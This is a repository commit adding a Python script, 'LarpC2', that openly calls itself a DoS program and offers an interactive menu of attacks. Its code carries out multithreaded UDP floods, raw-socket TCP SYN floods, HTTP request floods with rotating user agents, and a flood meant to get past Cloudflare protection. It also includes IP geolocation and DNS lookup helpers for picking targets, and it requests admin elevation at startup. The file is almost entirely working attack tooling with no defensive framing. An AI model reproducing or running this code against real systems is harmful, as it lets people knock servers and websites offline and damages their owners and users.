Add larpc2.py
This commit is contained in:
@@ -0,0 +1,502 @@
|
|||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from time import sleep
|
||||||
|
import socket
|
||||||
|
import threading
|
||||||
|
import datetime
|
||||||
|
import struct
|
||||||
|
import random
|
||||||
|
import requests
|
||||||
|
import ipaddress
|
||||||
|
import cloudscraper
|
||||||
|
|
||||||
|
def is_admin():
|
||||||
|
try:
|
||||||
|
import ctypes
|
||||||
|
return ctypes.windll.shell32.IsUserAnAdmin()
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def run_as_admin():
|
||||||
|
if is_admin():
|
||||||
|
return True
|
||||||
|
|
||||||
|
try:
|
||||||
|
import ctypes
|
||||||
|
import sys
|
||||||
|
|
||||||
|
script = os.path.abspath(sys.argv[0])
|
||||||
|
params = ' '.join([script] + sys.argv[1:])
|
||||||
|
|
||||||
|
ctypes.windll.shell32.ShellExecuteW(
|
||||||
|
None, "runas", sys.executable, params, None, 1
|
||||||
|
)
|
||||||
|
return False
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
if not run_as_admin():
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
os.system("title LARP C2")
|
||||||
|
|
||||||
|
larp = "\033[38;5;118m"
|
||||||
|
white = "\033[97m"
|
||||||
|
red = "\033[38;5;196m"
|
||||||
|
clear = "\033[0m"
|
||||||
|
|
||||||
|
useragent = [
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
|
||||||
|
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1",
|
||||||
|
"Mozilla/5.0 (iPad; CPU OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1",
|
||||||
|
"Mozilla/5.0 (Linux; Android 11; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.59",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.59",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
|
||||||
|
"Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
|
||||||
|
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
|
||||||
|
]
|
||||||
|
|
||||||
|
payloads = [
|
||||||
|
b"\x08\xb2\x00\x21",
|
||||||
|
b"\x08\xb2\x00",
|
||||||
|
b"\xD8\x39\x84\x00",
|
||||||
|
]
|
||||||
|
|
||||||
|
def banner():
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
print(f"""
|
||||||
|
{larp}
|
||||||
|
|
||||||
|
╦ ╔═╗╦═╗╔═╗
|
||||||
|
║ ╠═╣╠╦╝╠═╝
|
||||||
|
╩═╝╩ ╩╩╚═╩
|
||||||
|
╚═╦═══════════════════════════════════════════╦═╝
|
||||||
|
╚╦════╩═══════════════════════════════════════════╩════╦╝
|
||||||
|
║ LarpC2 is a powerfull DoS Program. ║
|
||||||
|
║ Free, Opensource, Safe, ║
|
||||||
|
╔╩═════════════════════════════════════════════════════╩╗
|
||||||
|
|
||||||
|
╚╦═════════════════════════════════════════════════════╦╝
|
||||||
|
║ This is made by the one and only Venex dont skid. ║
|
||||||
|
║ Type help to see all available commands. ║
|
||||||
|
╔╩═════════════════════════════════════════════════════╩╗
|
||||||
|
|
||||||
|
""")
|
||||||
|
|
||||||
|
def exit_script():
|
||||||
|
sleep(1)
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
def l4_banner():
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
print(f"""
|
||||||
|
{larp}
|
||||||
|
╦ ╔═╗╦═╗╔═╗
|
||||||
|
║ ╠═╣╠╦╝╠═╝
|
||||||
|
╩═╝╩ ╩╩╚═╩ {clear }
|
||||||
|
{larp}╔═══════════════════════════╗{clear}
|
||||||
|
{larp}║{clear} {larp}-{clear} tcp {larp}|{clear} TCP Flood{larp} {larp}║{clear}
|
||||||
|
{larp}║{clear} {larp}-{clear} udp {larp}|{clear} UDP Flood{larp} {larp}║{clear}
|
||||||
|
{larp}╚═══════════════════════════╝{clear}
|
||||||
|
|
||||||
|
""")
|
||||||
|
|
||||||
|
def layer4():
|
||||||
|
while True:
|
||||||
|
l4_banner()
|
||||||
|
select = input(f"""
|
||||||
|
╔═══[{larp}root{clear}@{larp}LARP{clear}]
|
||||||
|
╚══{larp}>{clear} """)
|
||||||
|
|
||||||
|
if select.startswith("udp"):
|
||||||
|
parts = select.split()
|
||||||
|
if len(parts) != 5:
|
||||||
|
print(f"usage{larp}:{clear} {larp}udp{clear} <{larp}ip{clear}> <{larp}port{clear}> <{larp}threads{clear}> <{larp}secs{clear}>")
|
||||||
|
input()
|
||||||
|
continue
|
||||||
|
|
||||||
|
_, ip, port, threads, secs = parts
|
||||||
|
port = int(port)
|
||||||
|
threads = int(threads)
|
||||||
|
secs = int(secs)
|
||||||
|
|
||||||
|
def udp_attack(host, port, secs):
|
||||||
|
end_time = time.time() + secs
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
while time.time() < end_time:
|
||||||
|
for data in payloads:
|
||||||
|
try:
|
||||||
|
s.sendto(data, (host, port))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
|
||||||
|
def get_country(ip):
|
||||||
|
try:
|
||||||
|
r = requests.get(f"http://ip-api.com/json/{ip}")
|
||||||
|
return r.json().get("country", "Unknown")
|
||||||
|
except:
|
||||||
|
return "Unknown"
|
||||||
|
|
||||||
|
country = get_country(ip)
|
||||||
|
|
||||||
|
def th(ip, port, threads, secs):
|
||||||
|
for _ in range(threads):
|
||||||
|
t = threading.Thread(target=udp_attack, args=(ip, port, secs))
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
th(ip, port, threads, secs)
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
print(f"""
|
||||||
|
{larp}
|
||||||
|
╔═╗╔╦╗╔╦╗╔═╗╔═╗╦╔═ ╔═╗╔═╗╔╗╔╔╦╗
|
||||||
|
╠═╣ ║ ║ ╠═╣║ ╠╩╗ ╚═╗║╣ ║║║ ║
|
||||||
|
╩ ╩ ╩ ╩ ╩ ╩╚═╝╩ ╩ ╚═╝╚═╝╝╚╝ ╩
|
||||||
|
{clear}
|
||||||
|
{larp}╔══════════════════════════════════╗{clear}
|
||||||
|
{larp}║{clear} METHODS{larp}:{clear} {larp}[{clear}UDP{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} HOST{larp}:{clear} {larp}[{clear}{ip}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} COUNTRY{larp}:{clear} {larp}[{clear}{country}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} PORT{larp}:{clear} {larp}[{clear}{port}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} THREADS{larp}:{clear} {larp}[{clear}{threads}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} TIME{larp}:{clear} {larp}[{clear}{secs}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}╚══════════════════════════════════╝{clear}
|
||||||
|
""")
|
||||||
|
time.sleep(secs)
|
||||||
|
|
||||||
|
elif select.startswith("tcp"):
|
||||||
|
parts = select.split()
|
||||||
|
if len(parts) != 5:
|
||||||
|
print(f"usage{larp}:{clear} {larp}tcp{clear} <{larp}ip{clear}> <{larp}port{clear}> <{larp}threads{clear}> <{larp}secs{clear}>")
|
||||||
|
input()
|
||||||
|
continue
|
||||||
|
|
||||||
|
_, ip, port, threads, secs = parts
|
||||||
|
port = int(port)
|
||||||
|
threads = int(threads)
|
||||||
|
secs = int(secs)
|
||||||
|
|
||||||
|
def tcp_attack(host, port, secs):
|
||||||
|
end_time = time.time() + secs
|
||||||
|
flags = 0b00000010
|
||||||
|
while time.time() < end_time:
|
||||||
|
try:
|
||||||
|
src_port = random.randint(1024, 65535)
|
||||||
|
pkt = struct.pack('!HHIIBBHHH', src_port, port, 0, 0, 80, flags, 8192, 0, 0)
|
||||||
|
socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP).sendto(pkt, (host, 0))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def get_country(ip):
|
||||||
|
try:
|
||||||
|
r = requests.get(f"http://ip-api.com/json/{ip}")
|
||||||
|
return r.json().get("country", "Unknown")
|
||||||
|
except:
|
||||||
|
return "Unknown"
|
||||||
|
|
||||||
|
country = get_country(ip)
|
||||||
|
|
||||||
|
def th(ip, port, threads, secs):
|
||||||
|
for _ in range(threads):
|
||||||
|
t = threading.Thread(target=tcp_attack, args=(ip, port, secs))
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
th(ip, port, threads, secs)
|
||||||
|
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
print(f"""
|
||||||
|
{larp}
|
||||||
|
╔═╗╔╦╗╔╦╗╔═╗╔═╗╦╔═ ╔═╗╔═╗╔╗╔╔╦╗
|
||||||
|
╠═╣ ║ ║ ╠═╣║ ╠╩╗ ╚═╗║╣ ║║║ ║
|
||||||
|
╩ ╩ ╩ ╩ ╩ ╩╚═╝╩ ╩ ╚═╝╚═╝╝╚╝ ╩
|
||||||
|
{clear}
|
||||||
|
{larp}╔══════════════════════════════════╗{clear}
|
||||||
|
{larp}║{clear} METHODS{larp}:{clear} {larp}[{clear}TCP{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} HOST{larp}:{clear} {larp}[{clear}{ip}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} COUNTRY{larp}:{clear} {larp}[{clear}{country}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} PORT{larp}:{clear} {larp}[{clear}{port}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} THREADS{larp}:{clear} {larp}[{clear}{threads}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} TIME{larp}:{clear} {larp}[{clear}{secs}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}╚══════════════════════════════════╝{clear}
|
||||||
|
""")
|
||||||
|
time.sleep(secs)
|
||||||
|
|
||||||
|
def l7_banner():
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
print(f"""
|
||||||
|
{larp}
|
||||||
|
|
||||||
|
╦ ╔═╗╦═╗╔═╗
|
||||||
|
║ ╠═╣╠╦╝╠═╝
|
||||||
|
╩═╝╩ ╩╩╚═╩ {clear}
|
||||||
|
{larp}╔═══════════════════════════════════╗{clear}
|
||||||
|
{larp}║{clear} {larp}-{clear} http {larp}|{clear} HTTP Flood{larp} {larp}║{clear}
|
||||||
|
{larp}║{clear} {larp}-{clear} cfb {larp}|{clear} CloudFlare bypass{larp} {larp}║{clear}
|
||||||
|
{larp}╚═══════════════════════════════════╝{clear}
|
||||||
|
|
||||||
|
""")
|
||||||
|
|
||||||
|
def layer7():
|
||||||
|
while True:
|
||||||
|
l7_banner()
|
||||||
|
select = input(f"""
|
||||||
|
╔═══[{larp}root{clear}@{larp}LARP{clear}]
|
||||||
|
╚══{larp}>{clear} """)
|
||||||
|
|
||||||
|
if select.startswith("http"):
|
||||||
|
parts = select.split()
|
||||||
|
if len(parts) != 4:
|
||||||
|
print(f"usage{larp}:{clear} {larp}http{clear} <{larp}url{clear}> <{larp}threads{clear}> <{larp}secs{clear}>")
|
||||||
|
input()
|
||||||
|
continue
|
||||||
|
|
||||||
|
_, url, threads, secs = parts
|
||||||
|
threads = int(threads)
|
||||||
|
secs = int(secs)
|
||||||
|
|
||||||
|
def http_attack(url, secs):
|
||||||
|
end_time = time.time() + secs
|
||||||
|
try:
|
||||||
|
while time.time() < end_time:
|
||||||
|
ua = random.choice(useragent)
|
||||||
|
headers = {"User-Agent": ua}
|
||||||
|
requests.get(url, headers=headers, timeout=5)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def th(url, thread, secs):
|
||||||
|
for _ in range(thread):
|
||||||
|
t = threading.Thread(target=http_attack, args=(url, secs))
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
th(url, threads, secs)
|
||||||
|
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
print(f"""
|
||||||
|
{larp}
|
||||||
|
╔═╗╔╦╗╔╦╗╔═╗╔═╗╦╔═ ╔═╗╔═╗╔╗╔╔╦╗
|
||||||
|
╠═╣ ║ ║ ╠═╣║ ╠╩╗ ╚═╗║╣ ║║║ ║
|
||||||
|
╩ ╩ ╩ ╩ ╩ ╩╚═╝╩ ╩ ╚═╝╚═╝╝╚╝ ╩
|
||||||
|
{clear}
|
||||||
|
{larp}╔══════════════════════════════════╗{clear}
|
||||||
|
{larp}║{clear} METHODS{larp}:{clear} {larp}[{clear}HTTP{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} URL{larp}:{clear} {larp}[{clear}{url}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} THREADS{larp}:{clear} {larp}[{clear}{threads}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} TIME{larp}:{clear} {larp}[{clear}{secs}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}╚══════════════════════════════════╝{clear}
|
||||||
|
""")
|
||||||
|
time.sleep(secs)
|
||||||
|
|
||||||
|
elif select.startswith("cfb"):
|
||||||
|
parts = select.split()
|
||||||
|
if len(parts) != 4:
|
||||||
|
print(f"usage{larp}:{clear} {larp}cfb{clear} <{larp}url{clear}> <{larp}threads{clear}> <{larp}secs{clear}>")
|
||||||
|
input()
|
||||||
|
continue
|
||||||
|
|
||||||
|
_, url, threads, secs = parts
|
||||||
|
threads = int(threads)
|
||||||
|
secs = int(secs)
|
||||||
|
|
||||||
|
def cloudflare(url, end_time):
|
||||||
|
end_time = time.time() + secs
|
||||||
|
scraper = cloudscraper.create_scraper()
|
||||||
|
try:
|
||||||
|
while time.time() < end_time:
|
||||||
|
ua = random.choice(useragent)
|
||||||
|
headers = {"User-Agent": ua}
|
||||||
|
scraper.get(url, headers=headers, timeout=5)
|
||||||
|
scraper.head(url, headers=headers, timeout=5)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def th(url, threads, secs):
|
||||||
|
for _ in range(threads):
|
||||||
|
t = threading.Thread(target=cloudflare, args=(url, secs))
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
th(url, threads, secs)
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
print(f"""
|
||||||
|
{larp}
|
||||||
|
╔═╗╔╦╗╔╦╗╔═╗╔═╗╦╔═ ╔═╗╔═╗╔╗╔╔╦╗
|
||||||
|
╠═╣ ║ ║ ╠═╣║ ╠╩╗ ╚═╗║╣ ║║║ ║
|
||||||
|
╩ ╩ ╩ ╩ ╩ ╩╚═╝╩ ╩ ╚═╝╚═╝╝╚╝ ╩
|
||||||
|
{clear}
|
||||||
|
{larp}╔══════════════════════════════════╗{clear}
|
||||||
|
{larp}║{clear} METHODS{larp}:{clear} {larp}[{clear}CloudFlare Bypass{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} URL{larp}:{clear} {larp}[{clear}{url}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} THREADS{larp}:{clear} {larp}[{clear}{threads}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} TIME{larp}:{clear} {larp}[{clear}{secs}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}╚══════════════════════════════════╝{clear}
|
||||||
|
""")
|
||||||
|
time.sleep(secs)
|
||||||
|
|
||||||
|
def tools_banner():
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
print(f"""
|
||||||
|
{larp}
|
||||||
|
╔╦╗╔═╗╔═╗╦ ╔═╗
|
||||||
|
║ ║ ║║ ║║ ╚═╗
|
||||||
|
╩ ╚═╝╚═╝╩═╝╚═╝ {clear}
|
||||||
|
{larp}╔═══════════════════════════════════╗{clear}
|
||||||
|
{larp}║{clear} {larp}-{clear} geoip {larp}|{clear} geolocation ip {larp}║{clear}
|
||||||
|
{larp}║{clear} {larp}-{clear} dns {larp}|{clear} DNS lockup {larp}║{clear}
|
||||||
|
{larp}║{clear} {larp}-{clear} subnet {larp}|{clear} Reverse DNS lockup {larp}║{clear}
|
||||||
|
{larp}╚═══════════════════════════════════╝{clear}
|
||||||
|
|
||||||
|
""")
|
||||||
|
|
||||||
|
def tools():
|
||||||
|
while True:
|
||||||
|
tools_banner()
|
||||||
|
select = input(f"""
|
||||||
|
╔═══[{larp}root{clear}@{larp}LARP{clear}]
|
||||||
|
╚══{larp}>{clear} """)
|
||||||
|
|
||||||
|
if select.startswith("geoip"):
|
||||||
|
parts = select.split()
|
||||||
|
if len(parts) != 2:
|
||||||
|
print(f"usage{larp}:{clear} {larp}geoip{clear} <{larp}ip{clear}>")
|
||||||
|
input()
|
||||||
|
continue
|
||||||
|
|
||||||
|
ip = parts[1]
|
||||||
|
|
||||||
|
def geoip():
|
||||||
|
r = requests.get(f"http://ip-api.com/json/{ip}")
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
print(f"""
|
||||||
|
{larp}╔══════════════════════════════════╗{clear}
|
||||||
|
{larp}║{clear} IP{larp}:{clear} {larp}[{clear}{r.json().get("query")}{larp}]{clear} {larp} ║{clear}
|
||||||
|
{larp}║{clear} Country{larp}:{clear} {larp}[{clear}{r.json().get("country")}{larp}]{clear} {larp} ║{clear}
|
||||||
|
{larp}║{clear} Region{larp}:{clear} {larp}[{clear}{r.json().get("regionName")}{larp}]{clear} {larp} ║{clear}
|
||||||
|
{larp}║{clear} City{larp}:{clear} {larp}[{clear}{r.json().get("city")}{larp}]{clear} {larp} ║{clear}
|
||||||
|
{larp}║{clear} ISP{larp}:{clear} {larp}[{clear}{r.json().get("isp")}{larp}]{clear} {larp} ║{clear}
|
||||||
|
{larp}║{clear} Latitude{larp}:{clear} {larp}[{clear}{r.json().get("lat")}{larp}]{clear} {larp} ║{clear}
|
||||||
|
{larp}║{clear} Longitude{larp}:{clear} {larp}[{clear}{r.json().get("lon")}{larp}]{clear} {larp} ║{clear}
|
||||||
|
{larp}║{clear} ZIP{larp}:{clear} {larp}[{clear}{r.json().get("zip")}{larp}]{clear} {larp} ║{clear}
|
||||||
|
{larp}╚══════════════════════════════════╝{clear}
|
||||||
|
""")
|
||||||
|
input()
|
||||||
|
|
||||||
|
geoip()
|
||||||
|
|
||||||
|
elif select.startswith("dns"):
|
||||||
|
parts = select.split()
|
||||||
|
if len(parts) != 2:
|
||||||
|
print(f"usage{larp}:{clear} {larp}dns{clear} <{larp}domain{clear}>")
|
||||||
|
input()
|
||||||
|
continue
|
||||||
|
|
||||||
|
host = parts[1]
|
||||||
|
|
||||||
|
def dnslockup():
|
||||||
|
try:
|
||||||
|
dns = socket.gethostbyname(host)
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
print(f"""
|
||||||
|
{larp}╔══════════════════════════════════╗{clear}
|
||||||
|
{larp}║{clear} HOST{larp}:{clear} {larp}[{clear}{host}{larp}]{clear} {larp}║{clear}
|
||||||
|
{larp}║{clear} DNS{larp}:{clear} {larp}[{clear}{dns}{larp}]{clear} {larp} ║{clear}
|
||||||
|
{larp}╚══════════════════════════════════╝{clear}
|
||||||
|
""")
|
||||||
|
except socket.gaierror:
|
||||||
|
pass
|
||||||
|
input()
|
||||||
|
|
||||||
|
dnslockup()
|
||||||
|
|
||||||
|
|
||||||
|
elif select.startswith("subnet"):
|
||||||
|
parts = select.split()
|
||||||
|
if len(parts) != 2:
|
||||||
|
print(f"usage{larp}:{clear} {larp}subnet{clear} <{larp}ip{clear}>")
|
||||||
|
input()
|
||||||
|
continue
|
||||||
|
|
||||||
|
ip = parts[1]
|
||||||
|
|
||||||
|
def subnet():
|
||||||
|
try:
|
||||||
|
n = ipaddress.ip_network(ip + "/24", strict=False)
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
print(f"""
|
||||||
|
{larp}╔════════════════════════════════════════════════╗{clear}
|
||||||
|
{larp}║{clear} IP {larp}:{clear} [{ip}] {larp}║{clear}
|
||||||
|
{larp}║{clear} SUBNET {larp}:{clear} [{n}] {larp}║{clear}
|
||||||
|
{larp}║{clear} NET ADDR {larp}:{clear} [{n.network_address}] {larp} ║{clear}
|
||||||
|
{larp}║{clear} BROADCAST{larp}:{clear} [{n.broadcast_address}] {larp} ║{clear}
|
||||||
|
{larp}║{clear} NETMASK {larp}:{clear} [{n.netmask}] {larp}║{clear}
|
||||||
|
{larp}║{clear} HOSTS {larp}:{clear} [{n.num_addresses}] addresses {larp}║{clear}
|
||||||
|
{larp}╚════════════════════════════════════════════════╝{clear}
|
||||||
|
""")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
input()
|
||||||
|
|
||||||
|
subnet()
|
||||||
|
|
||||||
|
def install():
|
||||||
|
os.system("pip install requests --break-system-packages")
|
||||||
|
os.system("pip install scapy --break-system-packages")
|
||||||
|
os.system("pip install cloudscraper --break-system-packages")
|
||||||
|
|
||||||
|
def main():
|
||||||
|
install()
|
||||||
|
while True:
|
||||||
|
banner()
|
||||||
|
select = input(f"""
|
||||||
|
╔═══[{larp}root{clear}@{larp}LARP{clear}]
|
||||||
|
╚══{larp}>{clear} """)
|
||||||
|
|
||||||
|
if select == "help":
|
||||||
|
os.system('cls' if os.name == 'nt' else 'clear')
|
||||||
|
print(f"""
|
||||||
|
{larp}
|
||||||
|
╦ ╦╔═╗╦ ╔═╗
|
||||||
|
╠═╣║╣ ║ ╠═╝
|
||||||
|
╩ ╩╚═╝╩═╝╩ {clear}
|
||||||
|
{larp}╔═════════════════════════════════╗{clear}
|
||||||
|
{larp}║{clear} {larp}-{clear} l4 {larp}|{clear} Ip Attack Menu {larp}║{clear}
|
||||||
|
{larp}║{clear} {larp}-{clear} l7 {larp}|{clear} Website Attack Menu {larp}║{clear}
|
||||||
|
{larp}║{clear} {larp}-{clear} tools {larp}|{clear} Tools Menu {larp}║{clear}
|
||||||
|
{larp}║{clear} {larp}-{clear} exit {larp}|{clear} Exit LARP {larp}║{clear}
|
||||||
|
{larp}╚═════════════════════════════════╝{clear}
|
||||||
|
""")
|
||||||
|
input()
|
||||||
|
|
||||||
|
|
||||||
|
elif select == "l4":
|
||||||
|
layer4()
|
||||||
|
|
||||||
|
|
||||||
|
elif select == "l7":
|
||||||
|
layer7()
|
||||||
|
|
||||||
|
elif select == "tools":
|
||||||
|
tools()
|
||||||
|
|
||||||
|
elif select == "exit":
|
||||||
|
exit_script()
|
||||||
|
else:
|
||||||
|
print(f"{red}Invalid option{clear}")
|
||||||
|
input()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user